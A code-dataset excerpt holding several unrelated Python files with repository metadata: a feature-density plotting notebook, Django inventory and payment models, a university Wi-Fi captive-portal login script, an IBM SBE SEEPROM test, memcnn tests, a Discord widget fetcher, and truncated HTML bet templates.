# coding: utf-8 # # Training Set Analysis # The purpose of this notebook is to compute the kernel density estimate of the PDF between the judgement and each feature in a training set, in order to estimate how each feature is performing. # # # TODO # Modify features to use custom function score queries, and use ML to optimise features given the below plot (plot ideal relationship between judgement and features, and optimise to get as close as possible). # In[51]: import sys import numpy as np import scipy from scipy import stats import matplotlib.pylab as plt models_dir = "/Users/sullid/ONS/dp-search-service/src/main/resources/elastic.ltr/models" model_name = sys.argv[1] # In[52]: class TrainingData(object): """ Class to handle the loading of training sets """ def __init__(self, model_dir, model_name): self.model_dir = model_dir self.model_name = model_name self.data = {} self.load() def load(self): fname = "%s/%s/ons_train.txt" % (self.model_dir, self.model_name) with open(fname, 'r') as f: lines = f.readlines() qid_dict = {} # First collect the qids for line in lines: parts = line.split("\t") qid_part = parts[1] qid = int(qid_part.split(":")[1]) if (qid not in qid_dict): qid_dict[qid] = [] qid_dict[qid].append(line) # Process each line by the qid for qid in qid_dict.keys(): lines = qid_dict[qid] self.data[qid] = {} for line in lines: if (line.startswith("#")): continue parts = line.split("\t") if (len(parts) > 0): for part in parts: if ('#' in part): part = part[0:part.index("#")].strip() key = "J" val = 0.0 if (":" in part): key = part.split(":")[0] val = float(part.split(":")[-1]) else: val = float(part) if (key not in self.data[qid]): self.data[qid][key] = [] self.data[qid][key].append(val) def get(self, qid, item): return np.array(self.data[qid][item]) def qids(self): return self.data.keys() def keys(self, qid): return self.data[qid].keys() def min(self, qid, item): return min(self.get(qid, item)) def max(self, item): return max(self.get(qid, item)) def size(self, qid): return len(self.get(qid, "J")) def numFeatures(self, qid): return len(self.keys(qid)) - 2 # - 2 to account for judgement (J) and qid trainingData = TrainingData(models_dir, model_name) # In[56]: import matplotlib.gridspec as gridspec import matplotlib.pylab as pylab fs=25 params = {'legend.fontsize': 'x-large', 'figure.figsize': (15, 5), 'axes.labelsize': fs, 'axes.titlesize':fs, 'xtick.labelsize':fs, 'ytick.labelsize':fs} pylab.rcParams.update(params) def getValues(trainingData, qid, i): if (i == 0): return "Judgement", trainingData.get(qid, "J") # elif (i == 1 or i == 9): # return str(i), np.log10(trainingData[str(i)]) else: return "Feature %d" % i, trainingData.get(qid, str(i)) def fitKernel(x,y,n=100j): xmin,xmax,ymin,ymax=(x.min(),x.max(),y.min(),y.max()) X, Y = np.mgrid[xmin:xmax:n, ymin:ymax:n] positions = np.vstack([X.ravel(), Y.ravel()]) values = np.vstack([x, y]) kernel = stats.gaussian_kde(values) Z = np.reshape(kernel(positions).T, X.shape) return np.rot90(Z), (xmin, xmax, ymin, ymax) def forceAspect(ax,aspect=1): im = ax.get_images() extent = im[0].get_extent() ax.set_aspect(abs((extent[1]-extent[0])/(extent[3]-extent[2]))/aspect) print "QIDS: ", trainingData.qids() for qid in trainingData.qids(): numFeatures = trainingData.numFeatures(qid) + 1 fig = plt.figure(figsize=(50, 50)) plt.suptitle('qid:%d' % qid, fontsize=fs*1.5) gs = gridspec.GridSpec(numFeatures, numFeatures) for i in range(numFeatures): rowLabel, rowValues = getValues(trainingData, qid, i) labelRow = True for j in range(i+1, numFeatures): colLabel, colValues = getValues(trainingData, qid, j) ax = plt.subplot(gs[i,j-numFeatures]) # ax.text(0.25, 0.5, "ax %d:%d" % (i,j)) if (labelRow): ax.set_ylabel(rowLabel) labelRow = False if (j == (i+1)): ax.set_xlabel(colLabel) try: Z, (xmin,xmax,ymin,ymax) = fitKernel(colValues, rowValues, 200j) extent = [xmin,xmax,ymin,ymax] ax.imshow(Z, cmap=plt.cm.gist_stern_r, extent=extent) ax.set_xlim([xmin, xmax]) ax.set_ylim([ymin, ymax]) forceAspect(ax) except: pass # ax.imshow(np.rot90(Z), cmap=plt.cm.gist_earth_r, # extent=[xmin, xmax, ymin, ymax], aspect=50) # ax.plot(x, y, 'k.', markersize=2) # ax.set_xlim([xmin, xmax]) # ax.set_ylim([ymin, ymax]) plt.show()

31.836158

208

0.525998

713

5,635

4.102384

0.31136

0.02188

0.022564

0.02735

0.099145

0.023248

0

0.01646

0.342325

5,635

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0.049668

0.015628

0

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0

null

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0.06087

null

0.008696

0

null

0

null

0

1

0

1

82efe2ac2a9247e0f62ea4de8994ddbcc198a68c

368

py

Python

manage_it/catalog/admin.py

ShangShungInstitute/django-manage-it

13cb23b57ce3577db7f69250741bcbfe82b69a57

[ "MIT", "Unlicense" ]

1

2015-01-20T14:34:32.000Z

manage_it/catalog/admin.py

ShangShungInstitute/django-manage-it

13cb23b57ce3577db7f69250741bcbfe82b69a57

[ "MIT", "Unlicense" ]

null

manage_it/catalog/admin.py

ShangShungInstitute/django-manage-it

13cb23b57ce3577db7f69250741bcbfe82b69a57

[ "MIT", "Unlicense" ]

null

from django.contrib import admin from models import Location, ItemTemplate, Log, Inventory, Supplier class ItemTemplateAdmin(admin.ModelAdmin): filter_horizontal = ('supplies', 'suppliers') admin.site.register(Location) admin.site.register(ItemTemplate, ItemTemplateAdmin) admin.site.register(Log) admin.site.register(Inventory) admin.site.register(Supplier)

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0.444444

0

null

0

1

0

null

0

1

82f2ce225147eef11b48a4a976040f87c859485c

7,566

py

Python

orchestra/contrib/payments/models.py

udm88/django-orchestra

49c84f13a8f92427b01231615136549fb5be3a78

[ "Unlicense" ]

68

2015-02-09T10:28:44.000Z

2022-03-12T11:08:36.000Z

orchestra/contrib/payments/models.py

ferminhg/django-orchestra

49c84f13a8f92427b01231615136549fb5be3a78

[ "Unlicense" ]

17

2015-05-01T18:10:03.000Z

2021-03-19T21:52:55.000Z

orchestra/contrib/payments/models.py

ferminhg/django-orchestra

49c84f13a8f92427b01231615136549fb5be3a78

[ "Unlicense" ]

29

2015-03-31T04:51:03.000Z

2022-02-17T02:58:50.000Z

from django.core.exceptions import ValidationError from django.db import models from django.utils.functional import cached_property from django.utils.translation import ugettext_lazy as _ from jsonfield import JSONField from orchestra.models.fields import PrivateFileField from orchestra.models.queryset import group_by from . import settings from .methods import PaymentMethod class PaymentSourcesQueryset(models.QuerySet): def get_default(self): return self.filter(is_active=True).first() class PaymentSource(models.Model): account = models.ForeignKey('accounts.Account', verbose_name=_("account"), related_name='paymentsources') method = models.CharField(_("method"), max_length=32, choices=PaymentMethod.get_choices()) data = JSONField(_("data"), default={}) is_active = models.BooleanField(_("active"), default=True) objects = PaymentSourcesQueryset.as_manager() def __str__(self): return "%s (%s)" % (self.label, self.method_class.verbose_name) @cached_property def method_class(self): return PaymentMethod.get(self.method) @cached_property def method_instance(self): """ Per request lived method_instance """ return self.method_class(self) @cached_property def label(self): return self.method_instance.get_label() @cached_property def number(self): return self.method_instance.get_number() def get_bill_context(self): method = self.method_instance return { 'message': method.get_bill_message(), } def get_due_delta(self): return self.method_instance.due_delta def clean(self): self.data = self.method_instance.clean_data() class TransactionQuerySet(models.QuerySet): group_by = group_by def create(self, **kwargs): source = kwargs.get('source') if source is None or not hasattr(source.method_class, 'process'): # Manual payments don't need processing kwargs['state'] = self.model.WAITTING_EXECUTION amount = kwargs.get('amount') if amount == 0: kwargs['state'] = self.model.SECURED return super(TransactionQuerySet, self).create(**kwargs) def secured(self): return self.filter(state=Transaction.SECURED) def exclude_rejected(self): return self.exclude(state=Transaction.REJECTED) def amount(self): return next(iter(self.aggregate(models.Sum('amount')).values())) or 0 def processing(self): return self.filter(state__in=[Transaction.EXECUTED, Transaction.WAITTING_EXECUTION]) class Transaction(models.Model): WAITTING_PROCESSING = 'WAITTING_PROCESSING' # CREATED WAITTING_EXECUTION = 'WAITTING_EXECUTION' # PROCESSED EXECUTED = 'EXECUTED' SECURED = 'SECURED' REJECTED = 'REJECTED' STATES = ( (WAITTING_PROCESSING, _("Waitting processing")), (WAITTING_EXECUTION, _("Waitting execution")), (EXECUTED, _("Executed")), (SECURED, _("Secured")), (REJECTED, _("Rejected")), ) STATE_HELP = { WAITTING_PROCESSING: _("The transaction is created and requires processing by the " "specific payment method."), WAITTING_EXECUTION: _("The transaction is processed and its pending execution on " "the related financial institution."), EXECUTED: _("The transaction is executed on the financial institution."), SECURED: _("The transaction ammount is secured."), REJECTED: _("The transaction has failed and the ammount is lost, a new transaction " "should be created for recharging."), } bill = models.ForeignKey('bills.bill', verbose_name=_("bill"), related_name='transactions') source = models.ForeignKey(PaymentSource, null=True, blank=True, on_delete=models.SET_NULL, verbose_name=_("source"), related_name='transactions') process = models.ForeignKey('payments.TransactionProcess', null=True, blank=True, on_delete=models.SET_NULL, verbose_name=_("process"), related_name='transactions') state = models.CharField(_("state"), max_length=32, choices=STATES, default=WAITTING_PROCESSING) amount = models.DecimalField(_("amount"), max_digits=12, decimal_places=2) currency = models.CharField(max_length=10, default=settings.PAYMENT_CURRENCY) created_at = models.DateTimeField(_("created"), auto_now_add=True) modified_at = models.DateTimeField(_("modified"), auto_now=True) objects = TransactionQuerySet.as_manager() def __str__(self): return "#%i" % self.id @property def account(self): return self.bill.account def clean(self): if not self.pk: amount = self.bill.transactions.exclude(state=self.REJECTED).amount() if amount >= self.bill.total: raise ValidationError( _("Bill %(number)s already has valid transactions that cover bill total amount (%(amount)s).") % { 'number': self.bill.number, 'amount': amount, } ) def get_state_help(self): if self.source: return self.source.method_instance.state_help.get(self.state) or self.STATE_HELP.get(self.state) return self.STATE_HELP.get(self.state) def mark_as_processed(self): self.state = self.WAITTING_EXECUTION self.save(update_fields=('state', 'modified_at')) def mark_as_executed(self): self.state = self.EXECUTED self.save(update_fields=('state', 'modified_at')) def mark_as_secured(self): self.state = self.SECURED self.save(update_fields=('state', 'modified_at')) def mark_as_rejected(self): self.state = self.REJECTED self.save(update_fields=('state', 'modified_at')) class TransactionProcess(models.Model): """ Stores arbitrary data generated by payment methods while processing transactions """ CREATED = 'CREATED' EXECUTED = 'EXECUTED' ABORTED = 'ABORTED' COMMITED = 'COMMITED' STATES = ( (CREATED, _("Created")), (EXECUTED, _("Executed")), (ABORTED, _("Aborted")), (COMMITED, _("Commited")), ) data = JSONField(_("data"), blank=True) file = PrivateFileField(_("file"), blank=True) state = models.CharField(_("state"), max_length=16, choices=STATES, default=CREATED) created_at = models.DateTimeField(_("created"), auto_now_add=True, db_index=True) updated_at = models.DateTimeField(_("updated"), auto_now=True) class Meta: verbose_name_plural = _("Transaction processes") def __str__(self): return '#%i' % self.id def mark_as_executed(self): self.state = self.EXECUTED for transaction in self.transactions.all(): transaction.mark_as_executed() self.save(update_fields=('state', 'updated_at')) def abort(self): self.state = self.ABORTED for transaction in self.transactions.all(): transaction.mark_as_rejected() self.save(update_fields=('state', 'updated_at')) def commit(self): self.state = self.COMMITED for transaction in self.transactions.processing(): transaction.mark_as_secured() self.save(update_fields=('state', 'updated_at'))

35.85782

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0

null

0

null

0

1

0

1

82f8c42e4b7f145f7c76d62522e5c2d2fdd59996

8,992

py

Python

puwifi.py

SaicharanKandukuri/logmein

9946488fb61093bf2394254da056d2ebd290e83a

[ "MIT" ]

4

2021-12-01T12:07:49.000Z

2022-03-16T15:11:57.000Z

puwifi.py

SaicharanKandukuri/puwifi

9946488fb61093bf2394254da056d2ebd290e83a

[ "MIT" ]

10

2021-12-01T11:41:04.000Z

2022-03-16T16:12:36.000Z

puwifi.py

SaicharanKandukuri/logmein

9946488fb61093bf2394254da056d2ebd290e83a

[ "MIT" ]

2

2021-11-29T16:16:22.000Z

2021-11-30T05:06:05.000Z

import optparse import sys from sys import getsizeof import logging from signal import signal, SIGINT import time import requests # MIT License # # Copyright (c) 2022 SaicharanKandukuri # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from rich.logging import RichHandler FORMAT = "%(message)s" logging.basicConfig( level="NOTSET", format=FORMAT, datefmt="[%X]", handlers=[RichHandler()] ) logging.disable('DEBUG') log = logging.getLogger("rich") class WifiUtils: """class for wifi utils""" def __init__(self, username, password, host, port): self.username = username self.password = password self.host = host self.port = port @classmethod def request(cls, method, username, password, host, port, timeout) -> list: """request method: sends request to wifi host Args: method (str): interaction method "login.xml" or "logout.xml". Defaults to "login.xml". username (str): username assigned by parul university to access wifi password (str): password assigned by parul university to access wifi host (str): hostname of the parul university wifi hotspot/routers Defaults to " port (str): port to send login request. Defaults to "8090". timeout (int): request timeout. Defaults to 10. Returns: list server_request status[true|false] response(xml data returned form server) status_code(web request status code) """ url = ("http://"+host+":"+port+"/"+method) body = ("mode=191&username=" + username + "&password=" + password + "&a=1630404423764&producttype=0" ) headers = { "Host": "http://" + host + ":" + port + "", "Content-Length": str(getsizeof(body)), "User-Agent": "Chrome/92.0.4515.159 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*", "Origin": "http://" + host + ":" + port, "Referer": "http://" + host + ":" + port + "/", "Accept-Encoding": "gzip defalte", "Accept-Language": "en-US,en;q=0.9", "Connection": "close", } body_array = bytearray(body, 'utf-8') req = requests.post(url, data=body_array, headers=headers, timeout=timeout, verify=False ) return [(req.status_code == 200), req.text, req.status_code] def login(self, username, password, host, port="8090", method="login.xml", timeout=10) -> list: """login: uses request method to send login web request with credentials to wifi host Args: username (str): username assigned by parul university to access wifi password (str): password assigned by parul university to access wifi host (str): hostname of the parul university wifi hotspot/routers Defaults to "10.0.0.11" port (str, optional): port to send login request. Defaults to "8090". method (str, optional): interaction method "login.xml" or "logout.xml". Defaults to "login.xml". timeout (int, optional): request timeout. Defaults to 10. """ return self.request(method, username, password, host, port, timeout) def logout(self, username, password, host, port="8090", method="logout.xml", timeout=10) -> list: """logout: uses request method to send logout web request with credentials to wifi host Args: username (str): username assigned by parul university to access wifi password (str): password assigned by parul university to access wifi host (str): hostname of the parul university wifi hotspot/routers Defaults to "10.0.0.11" port (str, optional): port to send login request. Defaults to "8090". method (str, optional): interaction method "login.xml" or "logout.xml". Defaults to "logout.xml". timeout (int, optional): request timeout. Defaults to 10. """ return self.request(method, username, password, host, port, timeout) # def get_xml_msg(xml): # for later (●'◡'●) # return Et.parse(xml).getroot()[1] def grey_print(_string): """prints outs grey text Args: _string (str) """ print(f"\033[90m{_string}\033[0m") def connection_to(url, timeout=10): """checks if connection to url is available""" try: requests.get(url, timeout=timeout) return True except (requests.ConnectionError, requests.Timeout): return False def keep_alive(username, password, host, port): """keeps connection alive to wifi host""" while True: if connection_to("http://10.0.0.11:8090/"): log.info("connection to router \"available\"") else: log.critical("connection to router \"unavailable\"") if connection_to("https://google.com"): log.info("Connected to the internet") else: log.warning("Not connected to the internet") log.info("Tying to login back") try: log.info(WifiUtils.login(username, password, host, port)) except (requests.ConnectionError, requests.Timeout): log.critical( "Connection error: \"UNSTABLE CONNECTION TO HOST\"") time.sleep(5) def exit_handler(_signal, frame): """captures keyboard interrupts and kill signals & exits with messesage""" log.warning('SIGINT or CTRL-C detected. Exiting gracefully') grey_print("signal:"+str(_signal)) grey_print("frame:"+str(frame)) sys.exit(0) if __name__ == '__main__': signal(SIGINT, exit_handler) parser = optparse.OptionParser() parser.add_option('-u', '--username', dest='username', help='username to login/logout with parul university wifi service') parser.add_option('-p', '--password', dest='password', help='password to login/logout with parul university wifi service') parser.add_option('-H', '--host', dest='host', default='10.0.0.11', type=str) parser.add_option('-P', '--port', dest='port', default='8090', type=str) parser.add_option('-k', '--keep-alive', action='store_true', help='keep connecting to wifi when it gets signed out', default=False) parser.add_option('-o', '--logout', action='store_true', help='logout from wifi', default=False) parser.add_option('-l', '--login', action='store_true', help='login to wifi', default=False) options, args = parser.parse_args() WifiUtils = WifiUtils( options.username, options.password, options.host, options.port) if options.login: log.info("=> login <=") log.info(WifiUtils.login(options.username, options.password, options.host, options.port, )) sys.exit(0) if options.logout: log.info("=> logout <=") log.info(WifiUtils.logout(options.username, options.password, options.host, options.port, )) sys.exit(0) if options.keep_alive: log.info("=> keep alive <=") keep_alive(options.username, options.password, options.host, options.port, )

36.702041

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8,992

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8,992

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0

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0.028169

0

null

0

null

0

1

0

1

82fd258b0956b6fcb923493f7bbd91bb6546c5c0

335

py

Python

bugex_online/bugex_webapp/templatetags/custom_tags.py

fkleon/bugex-online

bf0687ff6167d66980eb44adcdb14e8fc65d9504

[ "Apache-2.0" ]

null

bugex_online/bugex_webapp/templatetags/custom_tags.py

fkleon/bugex-online

bf0687ff6167d66980eb44adcdb14e8fc65d9504

[ "Apache-2.0" ]

7

2020-06-30T23:15:12.000Z

2022-02-01T00:57:38.000Z

bugex_online/bugex_webapp/templatetags/custom_tags.py

fkleon/bugex-online

bf0687ff6167d66980eb44adcdb14e8fc65d9504

[ "Apache-2.0" ]

null

from django import template from django.conf import settings register = template.Library() @register.simple_tag def settings_value(name): """ This Tag allows to access values from the configuration file in the templates. """ try: return settings.__getattr__(name) except AttributeError: return ""

22.333333

82

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40

335

5.775

0.7

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0

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335

14

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0

1

0.111111

false

0

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0

0.555556

0

null

0

null

0

1

0

1

82ff896e3d6c189f07e2be0a44d052ed10938137

330

py

Python

producto/migrations/0004_auto_20180611_2350.py

JohanVasquez/crud-venta-libre

557f82b5d88c42480020a65cc6034348ff20efce

[ "MIT" ]

null

producto/migrations/0004_auto_20180611_2350.py

JohanVasquez/crud-venta-libre

557f82b5d88c42480020a65cc6034348ff20efce

[ "MIT" ]

null

producto/migrations/0004_auto_20180611_2350.py

JohanVasquez/crud-venta-libre

557f82b5d88c42480020a65cc6034348ff20efce

[ "MIT" ]

null

# Generated by Django 2.0.6 on 2018-06-11 23:50 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('producto', '0003_auto_20180611_2248'), ] operations = [ migrations.RenameModel( old_name='Venta', new_name='Ventas', ), ]

18.333333

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5.305556

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0

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0.293939

330

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1

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false

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0

0.363636

0

null

0

1

0

null

0

1

d20192a90dd1bce99c4dd2075229189ba55979b5

6,481

py

Python

src/test/testcases/testPSUReadSbeMem.py

open-power/sbe

0208243c5bbd68fa36464397fa46a2940c827edf

[ "Apache-2.0" ]

9

2017-03-21T08:34:24.000Z

2022-01-25T06:00:51.000Z

src/test/testcases/testPSUReadSbeMem.py

sumant8098/sbe

0208243c5bbd68fa36464397fa46a2940c827edf

[ "Apache-2.0" ]

17

2016-11-04T00:46:43.000Z

2021-04-13T16:31:11.000Z

src/test/testcases/testPSUReadSbeMem.py

sumant8098/sbe

0208243c5bbd68fa36464397fa46a2940c827edf

[ "Apache-2.0" ]

17

2017-03-24T11:52:56.000Z

2022-01-25T06:00:49.000Z

# IBM_PROLOG_BEGIN_TAG # This is an automatically generated prolog. # # $Source: src/test/testcases/testPSUReadSbeMem.py $ # # OpenPOWER sbe Project # # Contributors Listed Below - COPYRIGHT 2017,2019 # [+] International Business Machines Corp. # # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. See the License for the specific language governing # permissions and limitations under the License. # # IBM_PROLOG_END_TAG from __future__ import print_function import sys sys.path.append("targets/p9_nimbus/sbeTest" ) sys.path.append("targets/p9_axone/sbeTest" ) import testPSUUtil import testRegistry as reg import testUtil import testMemUtil #------------------------------- # This is a Test Expected Data #------------------------------- def getdoubleword(dataInInt): hex_string = '0'*(16-len(str(hex(dataInInt))[:18][2:])) + str(hex(dataInInt))[:18][2:] return hex_string def readSeeprom(offset, size, destAddr, primStatus, secStatus): ''' #------------------------------------------------------------------------------------------------------------------------------ # SBE side test data - #------------------------------------------------------------------------------------------------------------------------------ ''' sbe_test_data = ( #----------------------------------------------------------------------------------------------------- # OP Reg ValueToWrite size Test Expected Data Description #----------------------------------------------------------------------------------------------------- # FFDC Size, Pass CMD Size ["write", reg.REG_MBOX0, "0000010000F0D703", 8, "None", "Writing to MBOX0 address"], # seeprom offset, Size ["write", reg.REG_MBOX1, getdoubleword((offset<<32)+size), 8, "None", "Writing to MBOX1 address"], # response Addr ["write", reg.REG_MBOX2, getdoubleword(destAddr), 8, "None", "Writing to MBOX2 address"], ["write", reg.PSU_SBE_DOORBELL_REG_WO_OR, "8000000000000000", 8, "None", "Update SBE Doorbell register to interrupt SBE"], ) ''' #--------------------- # Host side test data - SUCCESS #--------------------- ''' host_test_data_success = ( #---------------------------------------------------------------------------------------------------------------- # OP Reg ValueToWrite size Test Expected Data Description #---------------------------------------------------------------------------------------------------------------- ["read", reg.REG_MBOX4, "0", 8, getdoubleword((primStatus<<48)+(secStatus<<32)+0xF0D703), "Reading Host MBOX4 data to Validate"], ) ''' #----------------------------------------------------------------------- # Do not modify - Used to simulate interrupt on Ringing Doorbell on Host #----------------------------------------------------------------------- ''' host_polling_data = ( #---------------------------------------------------------------------------------------------------------------- # OP Reg ValueToWrite size Test Expected Data Description #---------------------------------------------------------------------------------------------------------------- ["read", reg.PSU_HOST_DOORBELL_REG_WO_OR, "0", 8, "8000000000000000", "Reading Host Doorbell for Interrupt Bit0"], ) # Run Simics initially testUtil.runCycles( 10000000 ); # Intialize the class obj instances regObj = testPSUUtil.registry() # Registry obj def for operation # HOST->SBE data set execution regObj.ExecuteTestOp( testPSUUtil.simSbeObj, sbe_test_data ) print("\n Poll on Host side for INTR ...\n") #Poll on HOST DoorBell Register for interrupt regObj.pollingOn( testPSUUtil.simSbeObj, host_polling_data, 5 ) #SBE->HOST data set execution regObj.ExecuteTestOp( testPSUUtil.simSbeObj, host_test_data_success ) #------------------------- # Main Function #------------------------- def main(): # Run Simics initially testUtil.runCycles( 10000000 ); print("\n Execute SBE Test - Read SBE Mem\n") ''' Test Case 1 ''' readSeeprom(0, 128, 0x08000000, 0, 0) print("SUCCESS: read seeprom valid") # Read data from cache and verify its contents # seeprom header seepprmHdr = 'XIP SEPM' #read from cache readData = testMemUtil.getmem(0x08000000, 0x80, 0x02) for byte in range(len(seepprmHdr)): if( ord(seepprmHdr[byte]) != readData[byte ]): print("Data mismtach at: ", byte) print(" expected: ", ord(seepprmHdr[byte])) print(" Actual: ", readData[byte]) raise Exception('data mistmach'); ''' Test Case 2 ''' readSeeprom(0x38CA0, 0x180, 0x8973780, 0, 0) print("SUCCESS: read seeprom HB testcase") ''' Test Case 3 ''' readSeeprom(0x0, 0x40, 0x08000000, 0x03, 0x19) print("SUCCESS: read seeprom size not aligned") ''' Test Case 4 ''' readSeeprom(0x3fe80, 0x180, 0x08000000, 0x03, 0x19) print("SUCCESS: read seeprom size exceeded") ''' Test Case 5 ''' readSeeprom(0x7, 0x40, 0x08000000, 0x03, 0x19) print("SUCCESS: read seeprom offset not aligned") if __name__ == "__main__": if testUtil.getMachineName() == "axone": try: main() except: print ( "\nTest Suite completed with error(s)" ) testUtil.collectFFDC() raise() print ( "\nTest Suite completed with no errors" ) else: main() if err: print ( "\nTest Suite completed with error(s)" ) #sys.exit(1) else: print ( "\nTest Suite completed with no errors" ) #sys.exit(0);

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0.227273

0

null

0

1

0

null

0

1

d20425193c1b51cfe42ea596643380c8747b1847

1,275

py

Python

memcnn/experiment/tests/test_factory.py

classner/memcnn

107ea40945b2b0d312d05cab5b78633e5f977a52

[ "MIT" ]

224

2018-03-03T02:46:54.000Z

2022-02-12T14:33:56.000Z

memcnn/experiment/tests/test_factory.py

classner/memcnn

107ea40945b2b0d312d05cab5b78633e5f977a52

[ "MIT" ]

62

2018-04-28T01:25:14.000Z

2021-11-25T13:20:57.000Z

memcnn/experiment/tests/test_factory.py

classner/memcnn

107ea40945b2b0d312d05cab5b78633e5f977a52

[ "MIT" ]

25

2018-04-20T18:08:12.000Z

2022-02-03T22:13:44.000Z

import pytest import os import memcnn.experiment.factory from memcnn.config import Config def test_get_attr_from_module(): a = memcnn.experiment.factory.get_attr_from_module('memcnn.experiment.factory.get_attr_from_module') assert a is memcnn.experiment.factory.get_attr_from_module def test_load_experiment_config(): cfg_fname = os.path.join(Config.get_dir(), 'experiments.json') memcnn.experiment.factory.load_experiment_config(cfg_fname, ['cifar10', 'resnet110']) @pytest.mark.skip(reason="Covered more efficiently by test_train.test_run_experiment") def test_experiment_config_parser(tmp_path): tmp_data_dir = tmp_path / "tmpdata" cfg_fname = os.path.join(Config.get_dir(), 'experiments.json') cfg = memcnn.experiment.factory.load_experiment_config(cfg_fname, ['cifar10', 'resnet110']) memcnn.experiment.factory.experiment_config_parser(cfg, str(tmp_data_dir), workers=None) def test_circular_dependency(tmp_path): p = str(tmp_path / "circular.json") content = u'{ "circ": { "base": "circ" } }' with open(p, 'w') as fh: fh.write(content) with open(p, 'r') as fh: assert fh.read() == content with pytest.raises(RuntimeError): memcnn.experiment.factory.load_experiment_config(p, ['circ'])

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null

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d205e00637b9718f14c4962c0430f40c178683e5

266

py

Python

src/guildapi.py

nsde/discord-guildapi

b1303423e74c1370498e594429f3bf4aeae4ee95

[ "MIT" ]

null

src/guildapi.py

nsde/discord-guildapi

b1303423e74c1370498e594429f3bf4aeae4ee95

[ "MIT" ]

null

src/guildapi.py

nsde/discord-guildapi

b1303423e74c1370498e594429f3bf4aeae4ee95

[ "MIT" ]

null

import requests import json def getguild(guild_id): guild_id = str(guild_id) http_response = requests.get(f'https://discord.com/api/guilds/{guild_id}/widget.json') response_data = http_response.json() data = json.dumps(response_data) return data

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d2066abfbaca62c1d5be55ef5d80f560df075d0a

409

py

Python

smarthome/smarthomeproj/server/migrations/0011_auto_20210122_0256.py

nunocaseiro/smarthome-server-django

711db6ff360061d861d9985264f753e0f7846327

[ "Apache-2.0" ]

null

smarthome/smarthomeproj/server/migrations/0011_auto_20210122_0256.py

nunocaseiro/smarthome-server-django

711db6ff360061d861d9985264f753e0f7846327

[ "Apache-2.0" ]

null

smarthome/smarthomeproj/server/migrations/0011_auto_20210122_0256.py

nunocaseiro/smarthome-server-django

711db6ff360061d861d9985264f753e0f7846327

[ "Apache-2.0" ]

null

# Generated by Django 3.1.3 on 2021-01-22 02:56 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('server', '0010_auto_20210122_0054'), ] operations = [ migrations.AlterField( model_name='sensorvalue', name='value', field=models.DecimalField(decimal_places=2, max_digits=6), ), ]

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d20acbdc55dd2187f4e70d6f0f36211cc6ddf2d9

9,347

py

Python

bets-templates.py

longnow/longview

9345faacec64f427eab43790abc165af6a572e3d

[ "BSD-2-Clause" ]

82

2015-01-23T04:20:31.000Z

2022-02-18T22:33:53.000Z

bets-templates.py

longnow/longview

9345faacec64f427eab43790abc165af6a572e3d

[ "BSD-2-Clause" ]

2

2015-03-27T22:24:46.000Z

2017-02-20T08:19:12.000Z

bets-templates.py

longnow/longview

9345faacec64f427eab43790abc165af6a572e3d

[ "BSD-2-Clause" ]

7

2015-06-04T20:37:02.000Z

2021-03-10T02:41:08.000Z

# Copyright (c) 2004, The Long Now Foundation # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # HTML template substitutions # # %n - nodeId (aka item number) # %t - title # %d - date string # %1 [...] - positional arguments # The HTML template used for a popup. popupTemplate = """ <div class="node" id="node%n" onmouseout="javascript:hideNode('%n')"> <table cellpadding="0" cellspacing="0" border="0" width="100%"> <tr> <td class="exp"> BET<br><span class="txt">%n</span></td> <td class="exp" align="right"> %d </td> </tr> </table> <div class="txt-sm"> %1</div> <table cellpadding="3" cellspacing="0" border="0" width="100%"> <tr> <td class="exp" align="right"> AGREE </td> <td class="txt" align="left"> %2 </td> </tr> <tr> <td class="exp" align="right"> DISAGREE </td> <td class="txt" align="left"> %3 </td> </tr> <tr> <td class="exp" align="right"> STAKES </td> <td class="txt" align="left"> %4 </td> </tr> </table> </div> """ notifyTemplate = """ <div class="node" id="node%n" onmouseout="javascript:hideNode('%n')"> <table cellpadding="0" cellspacing="0" border="0" width="100%"> 